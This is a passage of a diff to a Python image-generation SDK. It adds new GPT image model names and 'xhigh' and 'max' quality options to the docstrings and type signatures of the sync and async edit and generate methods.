+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image should
+ be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to 16
+ images.
For `dall-e-2`, you can only provide one image, and it should be a square `png`
file less than 4MB.
@@ -305,9 +314,11 @@ def edit(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -321,7 +332,9 @@ def edit(
model: The model to use for image generation. One of `dall-e-2` or a GPT image model
(`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`). Defaults to
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to
`gpt-image-1.5`.
n: The number of images to generate. Must be between 1 and 10.
@@ -341,25 +354,28 @@ def edit(
Note that the final image may be sent before the full number of partial images
are generated if the full image is generated more quickly.
- quality: The quality of the image that will be generated for GPT image models. Defaults
- to `auto`.
+ quality: The quality of the image that will be generated for GPT image models. The GPT
+ image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and
+ `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support
+ `xhigh` and `max`. Defaults to `auto`.
response_format: The format in which the generated images are returned. Must be one of `url` or
`b64_json`. URLs are only valid for 60 minutes after the image has been
generated. This parameter is only supported for `dall-e-2` (default is `url` for
`dall-e-2`), as GPT image models always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
@@ -390,7 +406,7 @@ def edit(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
| Omit = omit,
@@ -405,16 +421,17 @@ def edit(
"""Creates an edited or extended image given one or more source images and a
prompt.
- This endpoint supports GPT Image models (`gpt-image-1.5`, `gpt-image-1`,
- `gpt-image-1-mini`, and `chatgpt-image-latest`) and `dall-e-2`.
+ This endpoint supports GPT Image models and `dall-e-2`.
Args:
image: The image(s) to edit. Must be a supported image file or an array of images.
For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
- `gpt-image-2`, `gpt-image-2-2026-04-21`, and `chatgpt-image-latest`), each image
- should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
- 16 images.
+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image should
+ be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to 16
+ images.
For `dall-e-2`, you can only provide one image, and it should be a square `png`
file less than 4MB.
@@ -430,9 +447,11 @@ def edit(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -446,7 +465,9 @@ def edit(
model: The model to use for image generation. One of `dall-e-2` or a GPT image model
(`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`). Defaults to
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to
`gpt-image-1.5`.
n: The number of images to generate. Must be between 1 and 10.
@@ -466,25 +487,28 @@ def edit(
Note that the final image may be sent before the full number of partial images
are generated if the full image is generated more quickly.
- quality: The quality of the image that will be generated for GPT image models. Defaults
- to `auto`.
+ quality: The quality of the image that will be generated for GPT image models. The GPT
+ image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and
+ `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support
+ `xhigh` and `max`. Defaults to `auto`.
response_format: The format in which the generated images are returned. Must be one of `url` or
`b64_json`. URLs are only valid for 60 minutes after the image has been
generated. This parameter is only supported for `dall-e-2` (default is `url` for
`dall-e-2`), as GPT image models always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
@@ -514,7 +538,7 @@ def edit(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
| Omit = omit,
@@ -583,7 +607,7 @@ def generate(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[
str,
@@ -614,14 +638,18 @@ def generate(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- or `gpt-image-2-2026-04-21`). Defaults to `dall-e-2` unless a parameter specific
- to the GPT image models is used.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter
+ specific to the GPT image models is used.
moderation: Control the content-moderation level for images generated by the GPT image
models. Must be either `low` for less restrictive filtering or `auto` (default
@@ -649,6 +677,8 @@ def generate(
- `auto` (default value) will automatically select the best quality for the
given model.
- `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`.
- `hd` and `standard` are supported for `dall-e-3`.
- `standard` is the only option for `dall-e-2`.
@@ -657,17 +687,18 @@ def generate(
after the image has been generated. This parameter isn't supported for the GPT
image models, which always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
stream: Generate the image in streaming mode. Defaults to `false`. See the
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
@@ -705,7 +736,7 @@ def generate(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[
str,
@@ -739,14 +770,18 @@ def generate(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- or `gpt-image-2-2026-04-21`). Defaults to `dall-e-2` unless a parameter specific
- to the GPT image models is used.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter
+ specific to the GPT image models is used.
moderation: Control the content-moderation level for images generated by the GPT image
models. Must be either `low` for less restrictive filtering or `auto` (default
@@ -774,6 +809,8 @@ def generate(
- `auto` (default value) will automatically select the best quality for the
given model.
- `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`.
- `hd` and `standard` are supported for `dall-e-3`.
- `standard` is the only option for `dall-e-2`.
@@ -782,17 +819,18 @@ def generate(
after the image has been generated. This parameter isn't supported for the GPT
image models, which always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
style: The style of the generated images. This parameter is only supported for
`dall-e-3`. Must be one of `vivid` or `natural`. Vivid causes the model to lean
@@ -826,7 +864,7 @@ def generate(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[
str,
@@ -860,14 +898,18 @@ def generate(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- or `gpt-image-2-2026-04-21`). Defaults to `dall-e-2` unless a parameter specific
- to the GPT image models is used.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter
+ specific to the GPT image models is used.
moderation: Control the content-moderation level for images generated by the GPT image
models. Must be either `low` for less restrictive filtering or `auto` (default
@@ -895,6 +937,8 @@ def generate(
- `auto` (default value) will automatically select the best quality for the
given model.
- `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`.
- `hd` and `standard` are supported for `dall-e-3`.
- `standard` is the only option for `dall-e-2`.
@@ -903,17 +947,18 @@ def generate(
after the image has been generated. This parameter isn't supported for the GPT
image models, which always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
style: The style of the generated images. This parameter is only supported for
`dall-e-3`. Must be one of `vivid` or `natural`. Vivid causes the model to lean
@@ -946,7 +991,7 @@ def generate(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[
str,
@@ -1114,7 +1159,7 @@ async def edit(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
| Omit = omit,
@@ -1130,16 +1175,17 @@ async def edit(
"""Creates an edited or extended image given one or more source images and a
prompt.
- This endpoint supports GPT Image models (`gpt-image-1.5`, `gpt-image-1`,
- `gpt-image-1-mini`, and `chatgpt-image-latest`) and `dall-e-2`.
+ This endpoint supports GPT Image models and `dall-e-2`.
Args:
image: The image(s) to edit. Must be a supported image file or an array of images.
For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
- `gpt-image-2`, `gpt-image-2-2026-04-21`, and `chatgpt-image-latest`), each image
- should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
- 16 images.
+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image should
+ be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to 16
+ images.
For `dall-e-2`, you can only provide one image, and it should be a square `png`
file less than 4MB.
@@ -1151,9 +1197,11 @@ async def edit(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -1167,7 +1215,9 @@ async def edit(
model: The model to use for image generation. One of `dall-e-2` or a GPT image model
(`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`). Defaults to
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to
`gpt-image-1.5`.
n: The number of images to generate. Must be between 1 and 10.
@@ -1187,25 +1237,28 @@ async def edit(
Note that the final image may be sent before the full number of partial images
are generated if the full image is generated more quickly.
- quality: The quality of the image that will be generated for GPT image models. Defaults
- to `auto`.
+ quality: The quality of the image that will be generated for GPT image models. The GPT
+ image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and
+ `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support
+ `xhigh` and `max`. Defaults to `auto`.
response_format: The format in which the generated images are returned. Must be one of `url` or
`b64_json`. URLs are only valid for 60 minutes after the image has been
generated. This parameter is only supported for `dall-e-2` (default is `url` for
`dall-e-2`), as GPT image models always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
stream: Edit the image in streaming mode. Defaults to `false`. See the
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
@@ -1240,7 +1293,7 @@ async def edit(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
| Omit = omit,
@@ -1255,16 +1308,17 @@ async def edit(
"""Creates an edited or extended image given one or more source images and a
prompt.
- This endpoint supports GPT Image models (`gpt-image-1.5`, `gpt-image-1`,
- `gpt-image-1-mini`, and `chatgpt-image-latest`) and `dall-e-2`.
+ This endpoint supports GPT Image models and `dall-e-2`.
Args:
image: The image(s) to edit. Must be a supported image file or an array of images.
For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
- `gpt-image-2`, `gpt-image-2-2026-04-21`, and `chatgpt-image-latest`), each image
- should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
- 16 images.
+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image should
+ be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to 16
+ images.
For `dall-e-2`, you can only provide one image, and it should be a square `png`
file less than 4MB.
@@ -1280,9 +1334,11 @@ async def edit(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -1296,7 +1352,9 @@ async def edit(
model: The model to use for image generation. One of `dall-e-2` or a GPT image model
(`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`). Defaults to
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to
`gpt-image-1.5`.
n: The number of images to generate. Must be between 1 and 10.
@@ -1316,25 +1374,28 @@ async def edit(
Note that the final image may be sent before the full number of partial images
are generated if the full image is generated more quickly.
- quality: The quality of the image that will be generated for GPT image models. Defaults
- to `auto`.
+ quality: The quality of the image that will be generated for GPT image models. The GPT
+ image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and
